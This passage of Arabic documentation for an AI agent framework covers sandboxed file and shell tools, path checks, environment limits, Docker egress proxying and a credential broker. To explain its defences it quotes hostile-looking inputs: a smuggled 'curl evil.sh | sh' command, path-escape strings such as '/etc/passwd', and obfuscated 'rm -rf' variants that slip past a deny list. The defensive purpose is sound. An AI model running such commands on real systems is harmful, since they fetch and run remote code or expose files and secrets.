node:fs ولا node:child_process مباشرة، بل تستدعي واجهتين صغيرتين هما FsProvider وShellProvider، فتعمل الأدوات نفسها على مجلد محلي، أو على شجرة ملفات في الذاكرة أثناء الاختبارات، أو على حاوية Docker، أو على بيئة معزولة (sandbox) بعيدة مثل E2B أو Daytona أو Cloudflare.
createAgent() يتوقف مؤقتًا بالطريقة نفسها: يعيد send() نتيجة فيها finishReason: 'awaiting-approval'، ثم ينفّذ agent.approvals.resolve() الأمر (أو يرفضه) ويتابع (راجع الموافقات). لتسمح بتنفيذ بعض الأوامر من دون سؤال، مرّر needsApproval: false مع قائمة allow، أو مرّر في needsApproval دالة شرطية تعيد false للأوامر التي تثق بها.
الأدوات
يعيدcreateFsTools(fs, options?) أدوات defineTool التالية:
يعيد
createShellTool(shell, options?) أداة واحدة هي shell، تأخذ command وtimeout_ms اختياريًا، وتعيد { exitCode, stdout, stderr }. حين يُقتَل الأمر، تتضمن النتيجة أيضًا timedOut: true أو aborted: true مع note تبيّن السبب.
agent.send(input, { signal }) أو AgentExecutor.execute({ signal })) يقتل الأمر الجاري مع كل العمليات التي بدأها: مجموعة العمليات في Linux وmacOS، وtaskkill /T في Windows.
نموذج الأمان
اقرأ هذا القسم قبل أن تمنح نموذجًا واجهة أوامر.ما يُفرَض فعلًا
المسارات تبقى داخل الجذر. قبل المساس بأي ملف، يوحّدNodeWorkspace (وكذلك MemoryWorkspace) صيغة كل مسار. وتُرفَض الحالات التالية على كل المنصات:
..التي تصعد فوق الجذر (../secretوsrc/../../secret)- المسارات المطلقة (
/etc/passwd، وكذلك المسار المطلق الذي يشير إلى داخل الجذر) - حروف الأقراص في Windows (
C:\WindowsوC:secret) - مسارات UNC والمسارات ذات الطول الممتد (
\\server\shareو//server/shareو\\?\C:\) - بايتات NUL
src/..\..\secret) أن يخفي ... وفي Windows تُرفَض أيضًا : (مجاري البيانات البديلة)، وأسماء الأجهزة المحجوزة (CON وNUL وCOM1 وغيرها)، والمقاطع المؤلفة من نقاط ومسافات فقط (يحذف Windows النقاط والمسافات في نهاية الاسم، فكانت .. ستعمل عمل ..).
الروابط الرمزية لا تستطيع الخروج. بعد ذلك الفحص، يحلّ NodeWorkspace المسار باستخدام realpath. وإن لم يكن المسار موجودًا بعد، حلّ أعمق جزء موجود منه. ويجب أن تبقى النتيجة داخل المسار الحقيقي للجذر نفسه. وهذا يعني:
- الرابط الموجود داخل الجذر ويشير إلى خارجه يُرفَض عند القراءة، وعند الكتابة إلى ملفات غير موجودة بعد (
escape-link/new.txt). - الرابط الذي لا وجود لهدفه لا يُتبَع أبدًا، لأن الكتابة عبره قد تنشئ ملفًا خارج الجذر.
- لا تتبع
globوgrepالروابط أبدًا أثناء المرور على شجرة الملفات. - تنفيذ
rmعلى رابط يحذف الرابط نفسه ويترك هدفه كما هو.
WorkspaceError داخل الأداة. يتلقى النموذج { "error": "WorkspaceError", "toolName": "read_file", "message": "..." } ويستمر التشغيل. تعرض الرسائل مسار مساحة العمل، لا مسار المضيف أبدًا.
الأوامر تحصل على بيئة محدودة. ينفّذ NodeWorkspace الأوامر مع ضبط cwd على الجذر، ولا يمرّر إليها متغيرات بيئة العملية الأب. لا يُنسَخ سوى PATH وHOME وUSERPROFILE وTEMP وTMP وTMPDIR وLANG وLC_* وTERM، إضافة إلى SystemRoot وSystemDrive وComSpec وPATHEXT وWINDIR في Windows، لأن واجهة الأوامر تحتاج إليها لتبدأ. وعليه فإن OPENAI_API_KEY وANTHROPIC_API_KEY وبيانات اعتماد الخدمات السحابية وغيرها من الأسرار في بيئة خادمك غير مرئية للأوامر التي يكتبها النموذج، ولا يستطيع env أو printenv كشفها. لتعطي الأوامر أكثر من ذلك، مرّر قيمًا (env: { GITHUB_TOKEN: scopedToken }) أو سمِّ متغيرات من المضيف لتُنسَخ (inheritEnv: ['CI']). وكل ما تمرّره بهذه الطريقة مرئي للنموذج. يمرّر inheritEnv: true بيئة المضيف كاملة، كما كان الحال قبل وجود هذا السلوك الافتراضي؛ فلا تستخدمه إلا مع أوامر تثق بها. وفي Windows يضيف مشغّل العمليات في Node أيضًا متغيرات الجلسة التي تحتاج إليها كل عملية (HOMEDRIVE وHOMEPATH وUSERNAME وUSERDOMAIN وLOGONSERVER)؛ وليس أيٌّ منها سرًّا.
allow وdeny أولًا، فالأمر المرفوض لا يُعرَض للموافقة أصلًا:
- النمط النصي يطابق الأمر الذي يساوي النمط تمامًا، أو الذي يبدأ به متبوعًا بمسافة (
'git status'يطابقgit status -s). - في
allow، الأمر الذي لا يطابقه سوى نمط نصي يجب ألا يحتوي على عوامل واجهة الأوامر (;&|`$(<>أو سطر جديد). هذا يمنعgit status; curl evil.sh | shمن المرور على أنهgit status. - يُختبَر التعبير النمطي (RegExp) على سطر الأمر كله، فثبّت طرفيه:
/^npm (test|run lint)$/. - تُفحَص الأنماط النصية في
denyمقابل كل جزء من الأمر تفصله;أو&أو|.
ما لا يُفرَض
- واجهة الأوامر في
NodeWorkspaceليست بيئة معزولة. حصر المسارات يسري على أدوات الملفات فقط. الأمر يعمل بحساب مستخدم نظام التشغيل الذي تعمل به، ويستطيع قراءة أي شيء يستطيعه ذلك المستخدم أو كتابته أو حذفه، ومن ذلك../و~/.ssh، ويستطيع استخدام الشبكة. الموافقة وقوائمallowتقلّل الخطر، لكنها ليست عزلًا. مع المدخلات غير الموثوقة، كالموجّهات الواردة من الجمهور أو المحتوى المجلوب من الويب، أعطِ أداة واجهة الأوامرShellProviderيستند إلى بيئة معزولة (انظر أدناه)، واستخدم أدوات الملفات معreadOnly: trueأو مع الموافقة. - قائمة المنع وسيلة تيسير لا أكثر. في واجهة الأوامر طرق كثيرة لكتابة الأمر نفسه (
r''m -rf،$(echo rm)، مسافة زائدة، ملف سكربت)، فلا تعتمد علىdenyللأمان. استخدمallowلهذا الغرض. - حالات التسابق والروابط الصلبة. تُفحَص المسارات ثم تُستخدَم. والعملية التي تستبدل مجلدًا برابط رمزي بين هاتين الخطوتين تستطيع الالتفاف على الفحص. لكن عملية كهذه تملك وصولًا محليًا أصلًا، كأمر نفّذته أداة واجهة الأوامر من دون بيئة معزولة. ولا يمكن اكتشاف رابط صلب داخل الجذر يشير إلى ملف خارجه.
grepتنفّذ التعبير النمطي الذي يكتبه النموذج داخل عمليتك. قد يكون نمط خبيث البنية بطيئًا. عدد الأسطر والملفات محدود، لكن محرك التعابير النمطية نفسه غير مقيَّد بزمن.
واجهة أوامر معزولة: SandboxShell
يكيّف SandboxShell أي SandboxAdapter، مثل SubprocessSandbox المستند إلى Docker، ليصبح ShellProvider. يُنفَّذ كل أمر بالصيغة sh -c "<command>" في حاوية جديدة بلا شبكة. لا ترى الحاوية سوى cwd، وهو مربوط (bind mount) على المسار نفسه. ولا تحصل إلا على env الذي تمرّره، ولا شيء من المضيف. ويمكن لأدوات الملفات أن تواصل استخدام NodeWorkspace على المجلد نفسه:
SandboxShell خياري env وinheritEnv نفسيهما اللذين يقبلهما NodeWorkspace. الحاوية لا تحصل إلا على تلك المتغيرات: لا تحصل على بيئة المضيف أبدًا، ولا على PATH أو HOME الخاصين بالمضيف، لأن الصورة تأتي بقيمها الخاصة. مع NoopSandbox (الذي يعمل على المضيف) يحصل الأمر على الأساس الصغير نفسه الذي يستخدمه NodeWorkspace، إضافة إلى متغيراتك؛ ويعيد inheritEnv: true هناك بيئة المضيف كاملة، لكن الحاوية لا تتلقاها أبدًا مع ذلك.
يقبل SubprocessSandbox سياسة network:
تُفحَص أسماء المضيفات عند إنشاء البيئة المعزولة، فعنوان URL أو الاسم غير السليم يرمي خطأ؛ وتُحفَظ القائمة بعد التحقق منها في
sandbox.network.
الاتصال الصادر بقائمة سماح: network: { allow } مع وسيط
لا يستطيع Docker بمفرده ترشيح حركة البيانات الصادرة بحسب اسم المضيف، لذا لا تُفرَض قائمة allow إلا حين يكون البروكسي (proxy) المنفذ الوحيد للحاوية إلى الخارج. يبني SubprocessSandbox ذلك بالعناصر الأساسية في Docker نفسه:
- عند أول استدعاء لـ
run()ينشئ شبكة جسرية داخلية (Internal: true، بلا IPv6، وبالوسمcom.lousho.sandbox=egress) اسمهاnetworkNameأوlousho-egress-<random>. الشبكة الداخلية لا مسار فيها إلى خارج الجسر. وإن وُجدت شبكة بذلك الاسم أُعيد استخدامها، بشرط أن تكون داخلية. - يحصل الوسيط على مستمع ثانٍ على عنوان بوابة تلك الشبكة، وهو في Docker Engine على Linux واجهة المضيف نفسه على الجسر. لا يقبل المستمع اتصالات إلا من الشبكة الفرعية لتلك الشبكة (أي طرف آخر يُقطَع اتصاله قبل قراءة أي بايت)، فهو ليس بروكسي مفتوحًا على واجهات المضيف الأخرى. قائمة السماح الخاصة به هي مضيفات قواعد الوسيط مضافًا إليها قائمة
allowالخاصة بالبيئة المعزولة. أما خيارallowالخاص بالوسيط ومستمعه على العنوان المحلي (loopback) فلا يتغيران. - تنضم كل حاوية إلى تلك الشبكة مع ضبط
HTTP_PROXY/HTTPS_PROXY(وصيغتيهما بالأحرف الصغيرة) على مستمع البوابة، مدموجةً فوقenvالذي تمرّره. لا يحملNO_PROXYسوى عنوان البوابة، فيصل$HTTP_PROXY/__broker/<host>/<path>(صيغة المسار التي تضيف بيانات الاعتماد) إلى الوسيط مباشرة؛ ولا يتيح ذلك أي تجاوز آخر، لأنه لا شيء آخر يمكن الوصول إليه. - يوقف
sandbox.close()المستمع ويحذف الشبكة إن كانت هذه البيئة المعزولة هي التي أنشأتها. التشغيل الملغى أو المنتهية مهلته يحذف حاويته كما في السابق؛ وتبقى الشبكة للتشغيل التالي للبيئة المعزولة إلى أن يُستدعىclose().
- Docker Engine على Linux والوكيل على المضيف نفسه: مفروض. تستطيع الحاوية الوصول إلى عنوان البوابة ولا شيء بعد الجسر. أما DNS: فالحاوية لا تحلّ أي أسماء خارجية بنفسها (Engine 25.0.5 وما بعده لا يعيد توجيه DNS من الشبكات الداخلية، CVE-2024-29018؛ والإصدارات الأقدم من Engine تُرفَض)، فتذهب الأسماء إلى البروكسي الذي يحلّها على المضيف بعد فحص قائمة السماح. الاتصالات المباشرة بعناوين IP لا مسار لها. البروتوكولات غير HTTP (SSH، و TCP الخام، و UDP) محجوبة، لأن البروكسي وحده يمكن الوصول إليه، وتُفحَص أنفاق
CONNECTمقابل قائمة السماح كأي طلب. - Docker Desktop (Windows وmacOS، و Desktop على Linux): مرفوض. الحاويات تعمل داخل آلة افتراضية، فلا يملك المضيف عنوانًا على الشبكة الداخلية. و
host.docker.internalلا يصل إلى المضيف إلا من الشبكات غير الداخلية، وهذه تصل إلى كل شيء آخر أيضًا. يرفضrun()بالخطأLOUSHO_SANDBOX_EGRESS_UNSUPPORTEDولا يشغّل أي حاوية. وكذلك الحال مع Docker بلا صلاحيات الجذر (rootless) (الجسر يقع في فضاء أسماء شبكة خاص به)، ومع خدمة Docker (daemon) على جهاز آخر (لا يستطيع الوسيط الارتباط بعنوان البوابة)، ومع شبكة مُعاد استخدامها وليست داخلية، ومع إصدار من Engine أقدم من 25.0.5. - خدمات أخرى على عنوان الجسر في المضيف. الحاوية الموجودة على شبكة داخلية تستطيع الوصول إلى أي خدمة على المضيف تستمع على عنوان البوابة أو على كل العناوين (
0.0.0.0). اربط خدمات المضيف بـ127.0.0.1، أو قيّد بجدار ناري الشبكة الفرعية للجسر لتصل إلى منفذ الوسيط فقط. وجدار المضيف الناري الذي يُسقط حركة البيانات القادمة من الجسر (سياسةINPUTصارمة) يحجب الوسيط أيضًا: عندئذ تفشل التشغيلات في الاتصال، ولا تحصل على اتصال صادر مفتوح. - أوامر المضيف ما زالت غير محمية بجدار ناري. أمر ينفّذه
NodeWorkspaceأوNoopSandboxيستطيع تجاهل متغيرات البروكسي؛ راجع ملاحظات وسيط بيانات الاعتماد أدناه.
env أو inheritEnv تستطيع أوامر النموذج قراءتها، وnetwork: 'default' يتيح للأمر إرسالها إلى أي مكان. أبقِ الأسرار طويلة الأمد خارجهما؛ واستخدم بدلًا من ذلك وسيط بيانات الاعتماد أدناه.
عند إلغاء التشغيل، يمرّر SandboxShell إشارة الإلغاء إلى المهايئ. عندئذ يقتل SubprocessSandbox الحاوية ويحذفها، وتبلّغ أداة واجهة الأوامر بـ aborted: true؛ والإشارة الملغاة مسبقًا لا تشغّل أي حاوية. المهايئ الذي يتجاهل SandboxRunOptions.signal لا يُنتظَر بعد الآن، لكن أمره يظل يعمل حتى انتهاء مهلته؛ وأداة واجهة الأوامر تعيّن مهلة دائمًا.
وسيط بيانات الاعتماد
أمر ينفّذه النموذج (git أو curl أو سكربت) يحتاج أحيانًا إلى استدعاء واجهة API تتطلب مصادقة، لكن أي رمز وصول (token) في بيئته يستطيع النموذج قراءته. يُبقي createCredentialBroker() الرمز على المضيف: يشغّل بروكسي HTTP محليًا يضيف ترويسات المصادقة إلى الطلبات الموجَّهة إلى المضيفات التي تسمّيها، فلا يرى الأمر سوى عنوان البروكسي.
- ما يعيده.
url(البروكسي، على منفذ مؤقت على127.0.0.1افتراضيًا)، وenv(HTTP_PROXYوHTTPS_PROXYوNO_PROXYوصيغها بالأحرف الصغيرة، لتُمرَّر إلى خيارenvفيNodeWorkspaceأوSandboxShell)، وbaseUrl(host)، وclose()الذي يوقف المستمع ويغلق المقابس المفتوحة. قيمة الترويسة سلسلة نصية أو دالة تُستدعى مع كل طلب. - قائمة السماح. مضيفات القواعد (أسماء مطابقة تمامًا أو
*.suffix) مسموح بها ضمنيًا؛ ويضيفallowمضيفات يمكن الوصول إليها من دون ترويسات محقونة. أي مضيف آخر يتلقى 403 قبل فتح أي اتصال. المضيفات التي تؤول إلى عناوين محلية (loopback) أو عناوين link-local (مثل عنوان البيانات الوصفية السحابية169.254.169.254) أو عناوين خاصة تُرفَض ما لم تُدرَج فيallowPrivate، فلا يستطيع أمر استخدام البروكسي للوصول إلى خدمات على جهازك أو شبكتك. - الأسرار تبقى على المضيف. القيم المحقونة لا تظهر أبدًا في
env، ولا في استجابات الخطأ من البروكسي، ولا في أي سجل. الطلب الموجَّه إلى مضيف يخدمه الوسيط ويحمل مسبقًا ترويسةAuthorizationتُحذَف ترويسته وتُستبدَل. الترويسات الخاصة بكل قفزة (ConnectionوProxy-Authorizationوغيرها) لا تُعاد توجيهها. - قيد HTTPS. حقن الترويسات يعمل مع طلبات HTTP غير المشفّرة ومع صيغة المسار: يخدم الوسيط
http://127.0.0.1:<port>/__broker/<host>/<path>ويعيد توجيهه إلىhttps://<host>/<path>مع إضافة الترويسات، وهذا ما يعيدهbaseUrl(host). وجّه أي أداة إلى عنوان URL الأساسي هذا (مثل خيارbaseURLفي حزمة SDK ما، أو عنوان URL لأمرcurl) لتحصل على المصادقة من دون أن تحمل الرمز. أما العميل الذي يستخدمHTTPS_PROXYمع عنوانhttps://فيفتح نفقCONNECT: يفحص الوسيط قائمة السماح على هدف النفق ويمرّر البايتات المشفّرة كما هي، فلا تُضاف أي ترويسة. الوسيط لا يعترض TLS. - ليس جدارًا ناريًا على المضيف. أمر ينفّذه
NodeWorkspaceيستطيع تجاهل متغيرات البروكسي وفتح اتصالاته الخاصة؛ فقائمة السماح لا تغطي إلا حركة البيانات المرسلة عبر الوسيط. ما يضمنه الوسيط هو أن الرمز لا يكون أبدًا في متناول الأمر. - الحاويات. لا تمرّر
broker.envإلىSubprocessSandbox: فهو يشير إلى العنوان المحلي (loopback) للمضيف. مرّر الوسيط نفسه بدلًا من ذلك،new SubprocessSandbox({ network: { allow }, broker })، فتوجّه البيئة المعزولة حاوياتها عبره (راجع الاتصال الصادر بقائمة سماح). وتفعل ذلك باستخدامbroker.listen({ host, clients, allow })، الذي يضيف مستمعًا على عنوان آخر لا يخدم إلا الأطراف القادمة من الشبكة الفرعيةclients، وقائمة السماح الخاصة به هي مضيفات القواعد مضافًا إليهاallow. الوسيط لا يستمع إلا على العنوان المحلي ما لم تستدعِ هذه الدالة.
كتابة مزوّدك الخاص
الواجهتان صغيرتان. المسارات نسبية إلى مساحة العمل وتستخدم/. تطبّق normalizeWorkspacePath() الفحوص نفسها التي تستخدمها المزوّدات المدمجة. المزوّد المتاح لنموذج يجب أن يحصر المسارات بنفسه، لأن أداة مخصصة قد تستدعيه مباشرة. عند الفشل ارمِ WorkspaceError برسالة مفهومة.
ShellProvider.exec وعده بنتيجة، لا أن يرفضه، عند رمز خروج غير صفري، أو انتهاء المهلة (timedOut: true)، أو الإلغاء (aborted: true). ولا ينبغي أن يرفض إلا حين يتعذّر بدء الأمر.
الاختبار باستخدام MemoryWorkspace
يحفظ MemoryWorkspace شجرة الملفات في الذاكرة ويفحص المسارات بالطريقة نفسها. الدالة exec فيه بديل شكلي تبرمجه أنت، ويُسجَّل كل أمر يتلقاه. اجمعه مع mockModel لتحصل على اختبارات حتمية: